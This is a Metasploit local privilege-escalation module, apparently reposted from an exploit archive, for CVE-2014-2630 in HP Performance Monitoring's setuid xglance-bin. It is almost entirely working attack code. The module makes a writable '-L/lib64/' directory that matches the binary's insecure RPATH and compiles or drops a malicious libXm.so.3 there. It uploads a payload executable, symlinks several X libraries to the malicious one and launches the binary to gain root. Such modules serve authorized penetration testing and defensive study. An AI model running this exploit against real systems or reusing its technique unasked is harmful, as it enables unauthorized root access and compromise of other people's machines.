HP Performance Monitoring xglance Privilege Escalation

[Kev]

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HP Performance Monitoring xglance Priv Esc',
        'Description' => %q{
          This exploit takes advantage of xglance-bin, part of
          HP's Glance (or Performance Monitoring) version 11 'and subsequent'
          , which was compiled with an insecure RPATH option.  The RPATH includes
          a relative path to -L/lib64/ which can be controlled by a user.
          Creating libraries in this location will result in an
          escalation of privileges to root.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'Tim Brown', # original finding
            'Robert Jaroszuk', # exploit
            'Marco Ortisi', # exploit
          ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' =>
          [
            [ 'Automatic', {} ],
            [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
            [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
          ],
        'Privileged' => true,
        'References' =>
          [
            [ 'EDB', '48000' ],
            [ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/55' ], # permissions, original finding
            [ 'URL', 'https://www.redtimmy.com/linux-hacking/perf-exploiter/' ], # exploit
            [ 'URL', 'https://github.com/redtimmy/perf-exploiter' ],
            [ 'PACKETSTORM', '156206' ],
            [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2630/' ],
            [ 'CVE', '2014-2630' ]
          ],
        'DisclosureDate' => 'Nov 19 2014',
        'DefaultTarget' => 0
      )
    )
    register_options [
      OptString.new('GLANCE_PATH', [ true, 'Path to xglance-bin', '/opt/perf/bin/xglance-bin' ])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]

  end

  # Simplify pulling the writable directory variable
  def base_dir
    datastore['WritableDir'].to_s
  end

  def exploit_folder
    "#{base_dir}/-L/lib64/"
  end

  def glance_path
    datastore['GLANCE_PATH'].to_s
  end

  # Pull the exploit binary or file (.c typically) from our system
  def exploit_data(file)
    ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-2630', file)
  end

  def find_libs
    libs = cmd_exec "ldd #{glance_path} | grep libX"
    %r{(?<lib>libX.+\.so\.\d) => -L/lib64} =~ libs
    return nil if lib.nil?

    lib
  end

  def check
    unless setuid? glance_path
      vprint_error "#{glance_path} not found on system"
      return CheckCode::Safe
    end
    lib = find_libs
    if lib.nil?
      vprint_error 'Patched xglance-bin, not linked to -L/lib64/'
      return CheckCode::Safe
    end
    vprint_good "xglance-bin found, and linked to vulnerable relative path -L/lib64/ through #{lib}"
    CheckCode::Appears
  end

  def exploit
    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # delete exploit folder in case a previous attempt failed
    vprint_status("Deleting exploit folder: #{base_dir}/-L")
    rm_cmd = "rm -rf \"#{base_dir}/-L\""
    cmd_exec(rm_cmd)
    # make folder
    vprint_status("Creating exploit folder: #{exploit_folder}")
    cmd_exec "mkdir -p #{exploit_folder}"
    register_dir_for_cleanup "#{base_dir}/-L"

    # drop our .so on the system that calls our payload
    # we need gcc to compile instead of metasm since metasm
    # removes unused variables, which we need to keep xglance-bin
    # from breaking and not launching our exploit
    so_file = "#{exploit_folder}libXm.so.3"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
      code = exploit_data('CVE-2014-2630.c')
      code.sub!('#{payload_path}', payload_path) # inject our payload path
      upload_and_compile so_file, code, '-fPIC -shared -static-libgcc'
      rm_f "#{so_file}.c"
    else
      payload_path = '/tmp/.u4aLoiq'
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx so_file, exploit_data('libXm.so.3')
    end

    # Upload payload executable
    vprint_status 'uploading payload'
    upload_and_chmodx payload_path, generate_payload_exe

    # link so files to exploit vuln
    lib = find_libs
    # just to be safe, Xt and Xp were in the original exploit
    # our mock binary is also exploitsable through libXmu.so.6
    # unsure about the real binary
    cd exploit_folder
    ['libXp.so.6', 'libXt.so.6', 'libXmu.so.6', lib].each do |l|
      cmd_exec "ln -s libXm.so.3 #{l}"
    end

    # Launch exploit
    print_status 'Launching xglance-bin...'
    cd base_dir
    output = cmd_exec glance_path
    output.each_line { |line| vprint_status line.chomp }
    print_warning("Manual cleanup of #{exploit_folder} may be required")
  end
end

Author: Tim Brown

 

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